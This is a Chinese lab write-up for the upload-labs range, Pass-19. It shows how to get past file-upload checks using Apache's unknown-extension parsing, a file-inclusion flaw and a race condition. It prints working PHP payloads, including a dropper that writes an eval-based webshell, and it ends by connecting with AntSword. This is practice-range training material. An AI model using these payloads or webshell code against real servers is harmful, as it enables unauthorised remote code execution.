upload-labs靶场-第十九关 条件竞争 解析漏洞 上传校验 – 作者:知非知非知非

上传图片走起:

1627088111_60fb64ef46e82e413d5f7.png!small

URL地址:http://localhost/upload-labs/upload1626843937.jpg

这次上传这个位置很奇怪,并没有上传到upload文件夹中!!!

查看提示!!!有是这个!!!

1627088116_60fb64f4a1717fe5866e4.png!small

构造PAYLOAD!!!

19.php.jpg

<?php phpinfo();?>

与Pass-18相似,但是Pass-19进行了一个文件名过滤,不允许上传php文件

思路:结合apache的解析漏洞,考虑apache未知扩展名解析漏洞

不管最后后缀为什么,只要是.php.*结尾,就会被Apache服务器解析成php文件!

上传后的地址为:

http://localhost/upload-labs/upload1626847561.jpg

根据前文所描述的文件包含漏洞:

http://localhost/upload-labs/include.php

构造PAYLOAD信息:

http://localhost/upload-labs/include.php?file=./upload1626847561.jpg

访问即可以得到有效的回显!!!

1627088159_60fb651fc38ad15f35cc1.png!small

但是,如果要这种方法的话:也不用这个19.php.jpg

直接采用图片马,也可以实现!!!!

但是,如果没有文件包含这个漏洞呢?继续找,这个题目的提示是代码审计!!!!

这里看了大佬的原理:这里是先移动文件,再修改文件名,所以的话是存在利用条件竞争来生成webshell的条件的!!!!

可以通过源代码,查看到可以上传文件的类型,这个文件中,可以上传且apache还不认识的,感觉只有7z后缀。

所以,这里我们构造一个PAYLOAD,名为pass19.php.7z

内容为:

<?PHP echo md5(1);fputs(fopen(‘shell.php’,’w’),'<?php @eval($_POST[cmd])?>’);?>

我们这里通过不断的上传这个文件,并通过上传文件的路径,不断访问这个文件!!!

首先,正常上传文件重命令后的地址为:http://localhost/upload-labs/upload1626843937.jpg

我感觉这个重命令之前,应该不会修改路径信息。

所以不断访问的URL地址为:http://localhost/upload-labs/uploadpass19.php.7z

只要成功,这个目录http://localhost/upload-labs/,就会生成webshell文件!!!!

见证奇迹的时刻!!!!

1627088171_60fb652bdfb2bde380fd6.png!small

1627088178_60fb65321e18e5c03e657.png!small

这里最重点的是上传文件后,原来文件名后加上了upload

接着就是蚁剑 连接!!!!

1627088185_60fb6539b97dfc063138a.png!small

1627088192_60fb654098f925dadae83.png!small

真TM不容易!!!!

来源:freebuf.com 2021-07-24 08:57:10 by: 知非知非知非

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论